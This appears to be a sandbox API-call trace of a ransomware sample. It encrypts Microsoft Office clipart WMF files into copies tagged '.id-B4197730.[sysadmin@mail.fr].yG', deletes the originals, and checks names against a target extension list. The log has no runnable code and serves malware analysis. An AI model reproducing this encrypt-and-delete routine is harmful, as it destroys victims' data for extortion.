	[0167.534] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.534] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.534] SetEndOfFile (hFile=0x550) returned 1
	[0167.534] CloseHandle (hObject=0x550) returned 1
	[0167.534] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.534] SetEndOfFile (hFile=0x4d8) returned 1
	[0167.538] CloseHandle (hObject=0x4d8) returned 1
	[0167.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1
	[0167.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0167.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0167.544] lstrlenW (lpString=".doc") returned 4
	[0167.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.544] lstrlenW (lpString=".docx") returned 5
	[0167.544] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.544] lstrlenW (lpString=".pdf") returned 4
	[0167.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.544] lstrlenW (lpString=".xls") returned 4
	[0167.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.544] lstrlenW (lpString=".xlsx") returned 5
	[0167.544] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.544] lstrlenW (lpString=".ppt") returned 4
	[0167.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0167.544] lstrlenW (lpString=".zip") returned 4
	[0167.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.544] lstrlenW (lpString=".rar") returned 4
	[0167.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.545] lstrlenW (lpString=".bz2") returned 4
	[0167.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.545] lstrlenW (lpString=".7z") returned 3
	[0167.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0167.545] lstrlenW (lpString=".dbf") returned 4
	[0167.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0167.545] lstrlenW (lpString=".1cd") returned 4
	[0167.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0167.545] lstrlenW (lpString=".jpg") returned 4
	[0167.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.546] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5156) returned 1
	[0167.547] CloseHandle (hObject=0x4d8) returned 1
	[0167.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220
	[0167.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0167.548] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.549] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0167.550] GetLastError () returned 0x0
	[0167.550] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1424, lpOverlapped=0x0) returned 1
	[0167.574] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1430, lpOverlapped=0x0) returned 1
	[0167.576] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.576] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.576] SetEndOfFile (hFile=0x550) returned 1
	[0167.576] CloseHandle (hObject=0x550) returned 1
	[0167.576] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.576] SetEndOfFile (hFile=0x4d8) returned 1
	[0167.581] CloseHandle (hObject=0x4d8) returned 1
	[0167.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1
	[0167.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0167.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0167.583] lstrlenW (lpString=".doc") returned 4
	[0167.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.584] lstrlenW (lpString=".docx") returned 5
	[0167.584] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.584] lstrlenW (lpString=".pdf") returned 4
	[0167.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.584] lstrlenW (lpString=".xls") returned 4
	[0167.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.584] lstrlenW (lpString=".xlsx") returned 5
	[0167.584] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.584] lstrlenW (lpString=".ppt") returned 4
	[0167.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0167.584] lstrlenW (lpString=".zip") returned 4
	[0167.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.584] lstrlenW (lpString=".rar") returned 4
	[0167.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.584] lstrlenW (lpString=".bz2") returned 4
	[0167.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.584] lstrlenW (lpString=".7z") returned 3
	[0167.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0167.584] lstrlenW (lpString=".dbf") returned 4
	[0167.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0167.585] lstrlenW (lpString=".1cd") returned 4
	[0167.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0167.585] lstrlenW (lpString=".jpg") returned 4
	[0167.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.586] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5472) returned 1
	[0167.586] CloseHandle (hObject=0x4d8) returned 1
	[0167.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220
	[0167.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0167.588] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.588] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0167.590] GetLastError () returned 0x0
	[0167.590] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1560, lpOverlapped=0x0) returned 1
	[0167.615] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1570, lpOverlapped=0x0) returned 1
	[0167.770] ReadFile (in: hFile=0x4d8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.770] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.770] SetEndOfFile (hFile=0x550) returned 1
	[0167.771] CloseHandle (hObject=0x550) returned 1
	[0167.771] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.771] SetEndOfFile (hFile=0x4d8) returned 1
	[0167.783] CloseHandle (hObject=0x4d8) returned 1
	[0167.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1
	[0167.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0167.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0167.906] lstrlenW (lpString=".doc") returned 4
	[0167.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.906] lstrlenW (lpString=".docx") returned 5
	[0167.906] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.906] lstrlenW (lpString=".pdf") returned 4
	[0167.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.906] lstrlenW (lpString=".xls") returned 4
	[0167.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.906] lstrlenW (lpString=".xlsx") returned 5
	[0167.906] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.906] lstrlenW (lpString=".ppt") returned 4
	[0167.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0167.906] lstrlenW (lpString=".zip") returned 4
	[0167.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.906] lstrlenW (lpString=".rar") returned 4
	[0167.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.906] lstrlenW (lpString=".bz2") returned 4
	[0167.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.907] lstrlenW (lpString=".7z") returned 3
	[0167.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0167.907] lstrlenW (lpString=".dbf") returned 4
	[0167.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0167.907] lstrlenW (lpString=".1cd") returned 4
	[0167.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0167.907] lstrlenW (lpString=".jpg") returned 4
	[0167.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.908] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=21548) returned 1
	[0167.908] CloseHandle (hObject=0x388) returned 1
	[0167.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220
	[0167.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0167.910] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.910] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0167.912] GetLastError () returned 0x0
	[0167.912] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x542c, lpOverlapped=0x0) returned 1
	[0167.964] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5430, lpOverlapped=0x0) returned 1
	[0167.967] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.967] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.967] SetEndOfFile (hFile=0x360) returned 1
	[0167.967] CloseHandle (hObject=0x360) returned 1
	[0167.967] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.968] SetEndOfFile (hFile=0x388) returned 1
	[0167.973] CloseHandle (hObject=0x388) returned 1
	[0167.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1
	[0167.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0167.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0167.977] lstrlenW (lpString=".doc") returned 4
	[0167.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.977] lstrlenW (lpString=".docx") returned 5
	[0167.977] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0167.977] lstrlenW (lpString=".pdf") returned 4
	[0167.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.978] lstrlenW (lpString=".xls") returned 4
	[0167.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.978] lstrlenW (lpString=".xlsx") returned 5
	[0167.978] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0167.978] lstrlenW (lpString=".ppt") returned 4
	[0167.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0167.978] lstrlenW (lpString=".zip") returned 4
	[0167.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.978] lstrlenW (lpString=".rar") returned 4
	[0167.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.978] lstrlenW (lpString=".bz2") returned 4
	[0167.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.978] lstrlenW (lpString=".7z") returned 3
	[0167.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0167.978] lstrlenW (lpString=".dbf") returned 4
	[0167.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0167.978] lstrlenW (lpString=".1cd") returned 4
	[0167.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0167.979] lstrlenW (lpString=".jpg") returned 4
	[0167.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.979] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=10364) returned 1
	[0167.979] CloseHandle (hObject=0x388) returned 1
	[0167.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220
	[0167.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0167.981] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.981] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0167.983] GetLastError () returned 0x0
	[0167.983] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x287c, lpOverlapped=0x0) returned 1
	[0168.130] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2880, lpOverlapped=0x0) returned 1
	[0168.131] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.131] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.132] SetEndOfFile (hFile=0x360) returned 1
	[0168.132] CloseHandle (hObject=0x360) returned 1
	[0168.132] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.132] SetEndOfFile (hFile=0x388) returned 1
	[0168.136] CloseHandle (hObject=0x388) returned 1
	[0168.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1
	[0168.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0168.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0168.142] lstrlenW (lpString=".doc") returned 4
	[0168.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.142] lstrlenW (lpString=".docx") returned 5
	[0168.142] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.142] lstrlenW (lpString=".pdf") returned 4
	[0168.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.142] lstrlenW (lpString=".xls") returned 4
	[0168.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.142] lstrlenW (lpString=".xlsx") returned 5
	[0168.142] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.142] lstrlenW (lpString=".ppt") returned 4
	[0168.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
